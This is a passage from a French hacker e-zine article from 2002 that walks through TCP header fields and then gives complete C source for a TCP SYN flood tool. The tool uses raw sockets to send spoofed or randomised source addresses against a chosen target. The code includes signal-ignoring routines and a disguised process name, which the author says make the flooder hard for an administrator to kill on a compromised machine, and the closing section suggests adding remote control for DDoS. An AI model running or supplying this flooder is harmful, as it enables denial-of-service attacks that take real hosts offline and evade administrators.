s'attend à recevoir. ¤ Data Offset: Représente la taille de l'en-tête TCP en DWORDS (mots de 32 bits), par défaut il pointe sur 5. (5*32=160 bits) ¤ Réservé: Réservé pour usage ultérieur, pointe obligatoirement sur 0. ¤ Flags: Voici les 6 flags caractéristiques à l'header TCP, appelés aussi bits de contrôle ils régissent le traitement des données lors de la récéption ou tout simplement le processus de three ways hand shake. SYN: Synchronisation ACK: Acquittement RST: Connection réinitialisée FIN: Fin d'envoie de données URG: Pointeur de données urgentes PSH: Push les données ¤ Fenêtre(window): Nombre maximum d'octets que le récépteur est capable de recevoir. Si le nombre dépasse la valeur donnée, alors on fragmente en plusieurs paquets. ¤ Checksum: Somme de contrôle, calcule le complément à 1 sur 16 bits de la somme des compléments à 1 des octets de l'en-tête et des données pris deux par deux (mots de 16 bits). Si le message entier contient un nombre impair d'octets, un 0 est ajouté à la fin du message pour terminer le calcul du Checksum. (voir bibli à la fin) En clair cette fonction, utilisée pour vérifier l'intégrité de l'header propre au protocole (ici TCP). ¤ Pointeur URG_DATAS: Si le flag URG est définie à 1 alors, en pointant sur les données urgentes, la positions de ces dites données est révélée pour un traitement immédiat. ¤ Options: Voici les différentes options proposés par TCP : Type longueur Valeur Signification 0 - 0x0000000 Fin - options 1 - 0x0000001 No-opération 2 4 0x0000010 Taille maximale ségment Fin option: Il déterminte la fin de la liste des options, il se place en dernière position et permet de différencier le champ Options de celui des données, au cas où il y aurait débordement. Ceci évite toute erreur lors du traitement des données. 0x90(NOP!): Organisatieur facultatif, il se place entre différentes options. Taille maximale segment: Lors du processus de connection entre deux hôtes, cet option peut être envoyée en complément d'un flag SYN pointant sur 1, pour définir la taille maximum d'un segment (16 bits). Par défaut la taille d'un segment est variable. ¤ Padding: Le padding ou remplissage, sert à certifier la taille de l'header TCP, en octets, comme étant un multiple de 4 (32 bits), et à vérifier l'offset de données comme marquant bien le début des données applicatives. L'header TCP peut paraître assez imposant, mais il n'en est rien lors de la programmation. Nous allons, comme lors de notre précédent icmp smurfer, utiliser les structures correspondantes à nos protocoles contenues dans les librairies proposées par notre immaculé système fétiche. III. Programmation du flooder : ________________________________ Nous y voici enfin ! La partie programmation est ludique à souhait ! Réveillez votre désir de création ! Le principe du tcp syn flooding est très simple. Lorsque vous envoyer un SYN, l'ordinateur distant alloue des ressources pour chaque connection. De là, nous allons nous contenter d'inonder le système cible sous un nombre suffisamment important de requètes SYN pour épuiser ses ressources et mettre hors service la machine attaquée. Notez que ce type d'attaque fait partie intégrante de l'IP spoofing ;-). Donc nous utiliserons différentes structures pour remplir nos headers IP et TCP: (un tit cat /usr/include/netinet/ip.h || tcp.h) [ Header IP ] (pour la description de l'header IP, reportez-vous à l'issue précédente #ICMP Smurfer) struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif __BYTE_ORDER == __BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #else # error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*The options start here. */ }; [ Header TCP ] struct tcphdr { __u16 source; __u16 dest; __u32 seq; __u32 ack_seq; #if defined(__LITTLE_ENDIAN_BITFIELD) __u16 res1:4, doff:4, fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, res2:2; #elif defined(__BIG_ENDIAN_BITFIELD) __u16 doff:4, res1:4, res2:2, urg:1, ack:1, psh:1, rst:1, syn:1, fin:1; #else #error "Adjust your defines" #endif __u16 window; __u16 check; __u16 urg_ptr; }; [ Pseudo header TCP ] Cette structure du pseudo header TCP est utilisé pour calculer la somme de contrôle, on définie l'adresse source et destination pour minimiser les pertes de segments sur le réseau, le protocole (TCP) et la taille du segment. Le char useless est utilisé pour respecter la limite de 32 bits du segment. ------8<--------------------------------------------------------------------- struct pseudohdr pseudo; struct tcphdr tcp; pseudo.saddr = inet_addr("127.0.0.1"); pseudo.daddr = inet_addr("127.0.0.1"); pseudo.useless = htons(0); pseudo.protocol = IPPROTO_TCP; pseudo.length = sizeof(struct tcphdr) + sizeof(data); tcp->check = in_cksum((unsigned short *)&pseudo, sizeof(struct pseudohdr)+sizeof(struct tcphdr)); ------8<--------------------------------------------------------------------- Passons dès à présent à l'implémentation de notre programme. IV. Implémentation : _____________________ => En-têtes, variables et structures => Fonctions 1) En-têtes, variables et structures : ______________________________________ Je ne vais pas reposer les bases de la programmation raw sockets, nous allons passer en revue les différentes fonctions autour desquelles notre flooder s'articule. #include #include // structure ip header #include // structure tcp header #include // structure sockaddr_in/in_addr #include // manipulation des threads, objects et données #include // structures sockaddr #include // structures hostent/netent/servent/protoent #include // déclaration de types, constantes, fonctions diverses #include // intéraction avec mécanisme des signaux (voir plus bas) (j'ai piqué ces constantes au syn flooder de Zakath ;-)) // En ignorant tous ces signaux, le flooder devient beaucoup plus difficile à supprimer! #define HEALTY // ignore tous les sinaux sauf Segfault #define NOSEGV // ignore segfault #define HIDDEN "emacs" // cache le processus de notre fonction #define SEQ 0x28376839 // numéro de séquence struct tcphdr *tcp; // structure générale header TCP struct iphdr *ip; // structure générale header IP struct sockaddr_in rhost; // pointeur sur l'adresse destinataire (cible) struct hostent *source; // pointeur sur adresse source int synfsock, sock, optval; char *packet, *buffer; 2) Fonctions : ______________ [ getaddr ] Cette fonction ne prend qu'un seul argument de type char représentant le nom de la machine, et permet de vérifier la présence de cet hôte sur le réseaux. Elle retourne l'adresse réseau de ce dernier au format u_long. unsigned long getaddr(char *sname){ struct hostent * hip; // notre structure hostent (voir issue précédente) hip = gethostbyname(sname); // présence de l'hôte if (!hip){ perror("Adresse invalide"); // en c exit(1); } return *(unsigned long *)hip -> h_addr; // pointeur sur l'adresse au format réseau de la structure hostent } [ set_rnd ] Lorsque nous allons définir aléatoirement et manuellement des adresses IP, nous aurons besoin d'une fonction qui déclare en random les différents octets de notre IP: here we are! Notez qu'elle retourne un type int et prend en argument deux types int, min et max qui sont les bornes à ne pas dépasser lors du choix aléatoire de l'octet, respectivement: 0 et 255, soit 256 possibilités. int set_rnd(int min, int max){ int r; // le type int que nous retournerons r = rand()%(((max + 1) - (min)) + (min)); // calcul aléatoire de l'octet return r; } [ ip_rnd ] Et voici notre fonction calculant aléatoirement une IP à l'aide de set_rnd, elle retourne un pointeur sur l'adresse random créée: char *ip_rnd(){ int n1, n2, n3, n4; // les octets 1,2,3,4 de notre IP char *false_ip; // Notre pointeur sur l'adresse random false_ip = (char *) malloc(1024); // allocation dynamique de mémoire pour notre pointeur (pour éviter les segfault ;-)) n1 = set_rnd(0, 254); // calcul aléatoire de l'octet 1 n2 = set_rnd(0, 254); // calcul aléatoire de l'octet 2 n3 = set_rnd(0, 254); // calcul aléatoire de l'octet 3 n4 = set_rnd(0, 254); // calcul aléatoire de l'octet 4 sprintf(false_ip, "%i.%i.%i.%i", n1, n2, n3, n4); // on réorganise l'ensemble des 4 octets return false_ip; // et on retourne l'ip créée } [ sig_exit, sig_segv ] Lors de la déclaration de nos constantes, nous avions définis HEALTY et NOSEGV pour éviter à notre flooder de mordre la poussière sous le premier killer process qui se présente. En effet, dans le cas ou vous voudriez utiliser cet outil à distance sur une machine rootée, vous allez alors rendre la tache beaucoup plus difficile à l'admin qui pénera à supprimer le process de notre flooder. Sig_exit et sig_segv ne retourne rien et prenne en argument un int crap=0, si les macros HEALTY et NOSEGV ne sont pas reconnues, alors on quitte. void sig_exit(int crap) { #ifndef HEALTHY // macro non existante? printf("Signal Caught. Exiting Cleanly.\n"); exit(crap); // on quitte #endif } void sig_segv(int crap) { #ifndef NOSEGV // macro non existante? printf("Segmentation Violation Caught. Exiting Cleanly.\n"); exit(crap); // on quitte #endif } [ init_signals ] Voici la fonction qui ignore un hypothétique signal envoyé au processus de notre flooder. void init_signals() { // les différents signaux connus actuellement signal(SIGHUP, sig_exit); // hang up signal(SIGINT, sig_exit); // signal d'interruption terminale signal(SIGQUIT, sig_exit); // signal d'arrêt final signal(SIGILL, sig_exit); // instruction illégale signal(SIGTRAP, sig_exit); // trace/breakpoint trap signal(SIGBUS, sig_exit); // accès à une portion non définie de mémoire signal(SIGFPE, sig_exit); // opération arithmétique érronée signal(SIGKILL, sig_exit); // killer signal, il ne peut être ignoré signal(SIGUSR1, sig_exit); // signal, définis par l'utilisateur, 1 signal(SIGSEGV, sig_segv); // utilisation érronée de mémoire signal(SIGUSR2, sig_exit); // signal, définis par l'utilisateur, 2 signal(SIGPIPE, sig_exit); // écriture sur un pipe (écriture seulement) signal(SIGALRM, sig_exit); // alarme horloge signal(SIGTERM, sig_exit); // Signal de terminaison signal(SIGCHLD, sig_exit); // child process stoppé ou terminé signal(SIGCONT, sig_exit); // continué l'éxécution en cas d'arrêt signal(SIGSTOP, sig_exit); // fin d'éxécution (ne peut être ignoré) signal(SIGTSTP, sig_exit); // signal stop finale signal(SIGTTIN, sig_exit); // lecture d'un processus en arrière plan (background process) signal(SIGTTOU, sig_exit); // écriture sur un processus en arrière plan (background process) signal(SIGURG, sig_exit); // bande passante données important disponible pour un socket signal(SIGXCPU, sig_exit); // limite temps CPU atteinte signal(SIGXFSZ, sig_exit); // taille limite d'un fichier atteinte signal(SIGVTALRM, sig_exit); // Temps maximum du timer virtuel atteint signal(SIGPROF, sig_exit); // profiling timer expiré signal(SIGIOT, sig_exit); // ? signal(SIGWINCH, sig_exit); // ? signal(SIGIO, sig_exit); // ? signal(SIGPWR, sig_exit); // ? } [ synflood ] Notre dernière fonction, la plus importante, elle prend cinq arguments: o u_long ipspoofee: ce ne peut être plus clair, notre adresse source spoofée (random ou définie par l'utilisateur). o u_long acbile: l'adresse de notre cible. o int x: il joue le rôle d'un boolean, il retourne 1 si l'IP doit être créée en random ou 0 sinon. o int nbrp: nombre totale de paquets à envoyer. o int max_ports: le plus grand port de destination. Nous allons donc d'une part concaténer deux boucles, l'une pour le nombre de paquets à envoyer, l'autre pour le nombre de ports de destination, et ensuite définir une ip en random si x==0, puis forger nos headers IP et TCP en nous contentant de remplir les différents champs propres aux structures associées. Notez que que nous utiliserons la fonction setsockopt() pour attribuer des fonctions à notre socket. Voici sa syntaxe: setsockopt(int s, int level, int optname, const void *optval, socklen_t optlen); o int s: spécifie une socket pour laquelle une option doit être établie. o int level: spécifie si l'opération s'applique à la socket elle même ou au protocole en cours d'utilisation. La socket est représenté par la constant SOL_SOCKET, alors qu'un autre protocole requière son numéro (cat etc/protocols). o int optname: spécifie une option simple à laquelle la requête s'applique. o const void *optval: la valeur de l'option. o socklen_t optlen: la taille de la valeur précédente. En cas d'échec, setsockopt() retourne -1 en affichant l'erreur correspondante (en réalite un numéro d'erreur): o EBADF: s n'est pas un descripteur valide. o ENOTSOCK: s n'est pas un socket descriptor. o ENOPROTOOPT: l'option optname est inconnue. o EFAULT: optval n'est pas un pointeur valide. Comme nous forgeons manuellement nos paquets, optname retournera l'option IP_HDRINCL indiquant au système de ne pas générer d'en-tête IP. int synflood(unsigned long ipspoofee, unsigned long acible, int x, int nbrp, int max_ports) { // nos variables char *paquet, *fip; int i, j, preussi=-1, pechou=0; printf("x=%i\n", x); for(i=0;i<=nbrp;i++) // première boucle (nombre de paquets total à envoyer) { for(j=1; j<=max_ports; j++) // seconde boucle concaténer (valeur actuelle du port de destination) { if (x==1) // si x==1 alors on choisie une IP aléatoire ipspoofee = getaddr(ip_rnd()); // allocation dynamique de mémoire, pour notre paquet et nos headers merci à [p]lug packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); ip = (struct iphdr *) packet; tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); // remplissage de notre header IP ip->ihl = 5; // IHL (5 minimum) ip->version = 4; // numéro de version (4) ip->tos = 0; // type de service ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); /longueur totale du paquet ip->id = (random()); // identificateur du paquet (pour fragmentation) ip->ttl = 255; // time to live, ou nombre maximum de sauts à éxécuter ip->protocol = IPPROTO_TCP; // protocole de niveau supérieur (voir protocol layering ci-dessous) ici TCP ip->saddr = ipspoofee; // adresse source spoofée ip->daddr = acible; // adresse de destination // notre pseudo en-tête TCP pseudo.saddr = ip->saddr; pseudo.daddr = ip->daddr; pseudo.useless = htons(0); pseudo.protocol = IPPROTO_TCP; pseudo.length = sizeof(struct tcphdr); // remarquez que lorsque nous entrons des données à nos champs, nous utilisons la fonction htons pour convertir l'ordre des bits de l'hôte en format réseau tcp->source = htons(5000); // port source tcp->dest = htons(80); // port destination tcp->seq = htonl(SEQ); // numéro de séquence tcp->ack_seq = htonl(0); // séquence d'acquittement tcp->doff = 5; // data offset tcp->fin = 0; // bit de contrôle FIN tcp->syn = 1; // bit de contrôle SYN tcp->rst = 0; // bit de contrôle RST tcp->psh = 0; // bit de contrôle PSH tcp->ack = 0; // bit de contrôle ACK tcp->urg = 0; // bit de contrôle URG tcp->window = htons(65535); // fenêtre tcp->urg_ptr = htons(0); // pointeur urgent // sommes de contrôle tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); // déclaration de notre socket if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0) { // en cas d'errer on quitte perror("Erreur lors de la cregation du socket"); exit(0); } else { // déclaration des options attribuées à notre socket (voir plus haut) setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int)); rhost.sin_family = AF_INET; rhost.sin_port = tcp->dest; // utilité de cette fonction? tout est définie dans l'en-tête forgé rhost.sin_addr.s_addr = ip->daddr; // envoie du paquet if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0) { // en cas d'erreur on stop le processus (on "l'endort") pour 100 ms (plus que raisonnable pour une connection en 56) perror("Erreur lors de l'envoie des paquets SYN"); // puis on incrémente notre int pechou pechou++; usleep(100); }else{ // sinon on incrémente preussi et on endort provisoirement le processus printf("Paquet SYN envoye sur port: %i!\n", j); preussi++; usleep(100); } } // si le nombre maximum de ports de destination est atteint avant le nombre de paquets total à envoyer, max_port est réinitialisé à 0 if (j==max_ports) j=0; close(sock); } } // mes statistiques si chères ;-) printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n"); printf("Nombre total de paquets envoyes: %i\n", nbrp); printf("Nombre total de paquets reçus: %i\n", preussi); printf("Nombre total de paquets perdus: %i\n", pechou); return 0; } [ Point d'entrée ] Notre fonction main:! Nous récupérons les différents arguments entrés par l'utilisateur nécéssaires aux fonctions appelés ultérieurement pour le syn flooding. int main(int argc, char *argv[]) { // nos variables int x=0, nbrp=100, max_ports=100; long nseq; char *spoof, *cible; unsigned long aspoof, acible; if (argc < 2) { // si le nombre d'arguments entré est inférieur à 2 alors on affiche l'usage et on quitte printf(" TCP SYN FLOODER By Li0n7 \n\n"); printf(" .: Presentation des arguments :. \n\n"); printf(" -c : cible a flooder ;-) \n"); printf(" -r : IP choisie aléatoirement \n"); printf(" -s : IP sous laquelle se spoofer \n"); printf(" -n: nombre de paquets a envoyer, def=100 \n"); printf(" -p: nombre de ports a utiliser, def=100 \n"); exit(0); } else { // sinon tant que le nombre d'argument est supérieur à 0 on switch while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { case 'c': // on récupère l'addresse cible que l'on passe en unsigned long cible=&argv[1][2]; acible = getaddr(cible); break; case 'r': // on récupère l'addresse cible que l'on passe en unsigned long, en attribuant la valeur à 1 à x (voir fonction synflood) x=1; aspoof = getaddr(ip_rnd()); break; case 's': // on récupère l'addresse source sous laquelle se spoofer que l'on passe en unsigned long spoof=&argv[1][2]; aspoof = getaddr(spoof); break; case 'n': // on récupère le nombre de paquets total à envoyer nbrp = atoi(&argv[1][2]); break; case 'p': // on récupère le port limite sur lequel envoyé les paquets spoofés max_ports = atoi(&argv[1][2]); if(max_ports > 65535 || max_ports < 0){ printf("Le port doit etre superieur a 0 et inferieur a 65535\n"); exit(0); } break; } --argc; ++argv; } } // puis on appelle notre fonction synflood en rentrant les arguments précédemment mis en mémoire synflood(aspoof, acible, x, nbrp, max_ports); return 0; } V. Code source : ________________ /******************************************/ /* Ssyn flooder By Li0n7 */ /* contactez-moi: Li0n7@voila.fr */ /* http://www.ioc.fr.st */ /* TCP SYN FLOODER */ /* Copyright Li0n7 - Tous droits réservés */ /******************************************/ #include #include #include #include #include #include #include #include #include #define HEALTY #define NOSEGV #define HIDDEN "emacs" #define SEQ 0x28376839 int synfsock, sock, optval; char *packet, *buffer; struct tcphdr *tcp; struct pseudohdr { unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned short length; }pseudo; struct iphdr *ip; struct sockaddr_in rhost; struct hostent *source; struct hostent *cible; unsigned short in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } unsigned long getaddr(char *sname){ struct hostent * hip; hip = gethostbyname(sname); if (!hip){ perror("Adresse invalide"); exit(1); } return *(unsigned long *)hip -> h_addr; } int set_rnd(int min, int max){ int r; r = rand()%(((max + 1) - (min)) + (min)); return r; } char *ip_rnd(){ int n1, n2, n3, n4; char *false_ip; false_ip = (char *) malloc(1024); n1 = set_rnd(0, 254); n2 = set_rnd(0, 254); n3 = set_rnd(0, 254); n4 = set_rnd(0, 254); sprintf(false_ip, "%i.%i.%i.%i", n1, n2, n3, n4); return false_ip; } void sig_exit(int crap) { #ifndef HEALTHY printf(" [H [JSignal Caught. Exiting Cleanly.\n"); exit(crap); #endif } void sig_segv(int crap) { #ifndef NOSEGV printf(" [H [JSegmentation Violation Caught. Exiting Cleanly.\n"); exit(crap); #endif } void init_signals() { signal(SIGHUP, sig_exit); signal(SIGINT, sig_exit); signal(SIGQUIT, sig_exit); signal(SIGILL, sig_exit); signal(SIGTRAP, sig_exit); signal(SIGIOT, sig_exit); signal(SIGBUS, sig_exit); signal(SIGFPE, sig_exit); signal(SIGKILL, sig_exit); signal(SIGUSR1, sig_exit); signal(SIGSEGV, sig_segv); signal(SIGUSR2, sig_exit); signal(SIGPIPE, sig_exit); signal(SIGALRM, sig_exit); signal(SIGTERM, sig_exit); signal(SIGCHLD, sig_exit); signal(SIGCONT, sig_exit); signal(SIGSTOP, sig_exit); signal(SIGTSTP, sig_exit); signal(SIGTTIN, sig_exit); signal(SIGTTOU, sig_exit); signal(SIGURG, sig_exit); signal(SIGXCPU, sig_exit); signal(SIGXFSZ, sig_exit); signal(SIGVTALRM, sig_exit); signal(SIGPROF, sig_exit); signal(SIGWINCH, sig_exit); signal(SIGIO, sig_exit); signal(SIGPWR, sig_exit); } int synflood(unsigned long ipspoofee, unsigned long acible, int x, int nbrp, int max_ports) { char *paquet, *fip; int i, j, preussi=-1, pechou=0; printf("x=%i\n", x); for(i=0;i<=nbrp;i++) { for(j=1; j<=max_ports; j++) { if (x==1) ipspoofee = getaddr(ip_rnd()); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr)); ip = (struct iphdr *) packet; tcp = (struct tcphdr *) (packet + sizeof(struct iphdr)); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = (random()); ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->saddr = ipspoofee; ip->daddr = acible; pseudo.saddr = ip->saddr; pseudo.daddr = ip->daddr; pseudo.useless = htons(0); pseudo.protocol = IPPROTO_TCP; pseudo.length = sizeof(struct tcphdr); tcp->source = htons(5000); tcp->dest = htons(80); tcp->seq = htonl(7); tcp->ack_seq = htonl(0); tcp->doff = 5; tcp->fin = 0; tcp->syn = 1; tcp->rst = 0; tcp->psh = 0; tcp->ack = 0; tcp->urg = 0; tcp->window = htons(65535); tcp->urg_ptr = htons(0); tcp->check = in_cksum((unsigned short *)&pseudo,sizeof(struct tcphdr) + sizeof(struct pseudohdr)) ; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0) { perror("Erreur lors de la cregation du socket"); exit(0); } else { rhost.sin_family = AF_INET; rhost.sin_port = tcp->dest; rhost.sin_addr.s_addr = ip->daddr; if((sendto(sock,packet,ip->tot_len,0,(struct sockaddr *)&rhost, sizeof(struct sockaddr)))<0) { perror("Erreur lors de l'envoie des paquets SYN"); pechou++; usleep(100); }else{ printf("Paquet SYN envoye sur port: %i!\n", j); preussi++; usleep(100); } } if (j==max_ports) j=0; close(sock); } } printf("\n>-=+=+=+=+=+=- Statistiques -=+=+=+=+=+=-<\n\n"); printf("Nombre total de paquets envoyes: %i\n", nbrp); printf("Nombre total de paquets reçus: %i\n", preussi); printf("Nombre total de paquets perdus: %i\n", pechou); return 0; } int main(int argc, char *argv[]) { int x=0, nbrp=100, max_ports=100; long nseq; char *spoof, *cible; unsigned long aspoof, acible; if (argc < 2) { printf(" TCP SYN FLOODER By Li0n7 \n\n"); printf(" .: Presentation des arguments :. \n\n"); printf(" usage: ./tcpsyn_f -c[CIBLE] -n[NBR_PAQUETS] -p[nbr_ports] -s[ADRESSE A SPOOFER] || <-r> \n"); printf(" -c : cible a flooder ;-) \n"); printf(" -r : IP choisie aléatoirement \n"); printf(" -s : IP sous laquelle se spoofer \n"); printf(" -n: nombre de paquets a envoyer, def=100 \n"); printf(" -p: nombre de ports a utiliser, def=100 \n"); exit(0); } else { while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { case 'c': cible=&argv[1][2]; acible = getaddr(cible); break; case 'r': x=1; aspoof = getaddr(ip_rnd()); break; case 's': spoof=&argv[1][2]; aspoof = getaddr(spoof); break; case 'n': nbrp = atoi(&argv[1][2]); break; case 'p': max_ports = atoi(&argv[1][2]); if(max_ports > 65535 || max_ports < 0){ printf("Le port doit etre superieur a 0 et inferieur a 65535\n"); exit(0); } break; } --argc; ++argv; } } synflood(aspoof, acible, x, nbrp, max_ports); return 0; } VI. Conclusion : ________________ Vous voila à présent en possession des connaissances nécessaires à la prog de flooders TCP, rien de bien difficile en soit. Ce programme peut être optimisé et bénéficer d'améliorations notables, notamment au niveau de la gestion des ports de destination. Actuellement il envoie entre les ports 1 et max_ports, vous pouvez remplacer la constante 1 par un integer entré par l'utilisateur de manière a définir une plage de ports limite. Un moteur de contrôle du flooder à distance avec automatisation du flooding serait aussi susceptible d'être gréffer au programme. Nous abordons ici le DDoS, mais ce ne sera pas pour cette issue! Pour compiler: $ gcc -o tcp_synf tcp_synf.c usage: ./tcpsyn_f -c[CIBLE] -n[NBR_PAQUETS] -p[nbr_ports] -s[ADRESSE A SPOOFER] || <-r> -c : cible a flooder =)) -r : IP choisie aléatoirement. -s : IP sous laquelle se spoofer. -n: nombre de paquets a envoyer, defaut=100. -p: nombre de ports a utiliser, defaut=100. Voila tout, programmons par pur plaisir et non par intérêt, j'entends par là le fait que des sk puérils s'arrogent le droit de disposer de cet outil sans en comprendre la substance me répugne totalement. Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr --------------------------------------------------------------------------------------- CONTACTS IOC Staff --------------------------------------------------------------------------------------- ONT PARTICIPE A L'ELABORATION CE CE MAGAZINE : ¤ Meik : meik666@hotmail.com #150635264 ¤ Neofox : neo_fox_2001@hotmail.com #150837448 ¤ Emper0r : emper0r@secureroot.com #66985563 ¤ Disk-Lexic : bufferghost@caramail.com ¤ Li0n7 : Li0n7@voila.fr ¤ Viperone : viperone11@hotmail.com EN COLLABORATION AVEC : ¤ Jackieils : jackniels@hotmail.com ¤ Marcel : emulators@fr.fm LIENS http://www.hianda.fr.st http://attila666.no-ip.org http://www.rootshell.be/~emepr0r http://akheron.free.fr http://l7l.linux-fan.com http://www.newffr.org http://www.rootshell.be/~mrmilow http://jahnastah.org http://www.rndghost.com http://www.root-privs.be.tf http://www.projet7.org http://www.kernhell.org http://www.salemioche.com ____ ___ __ __ ____ __ __ __ ___ __ ___ __ __ / __| / \ | '_ \ / __|| | | | | |/ __/| | / \ | '_ \ | [__ | [ ] || | | || [__ | |_| - |\__ \| || [ ] || | | | \____| \_____/ |__| |__| \____||____|\______||___/|__| \_____/ |__| |__| End Of file, certains disent EOF. C'est ainsi que nous concluons ce copieux numéro. N'hésitez pas à nous faire part de vos suggestions, afin que nous puissions amélio -rer le contenu issues à venir. N'héistez pas non plus à nous faire parvenir vos articles, aidez nous à faire vivre ce mag, aprés tout, c'est le votre ! Bon coding à tous et rendez vous d'ici quelques temps pour la sortie de la prochaine issue. - Copyright © 2002 [IOC] -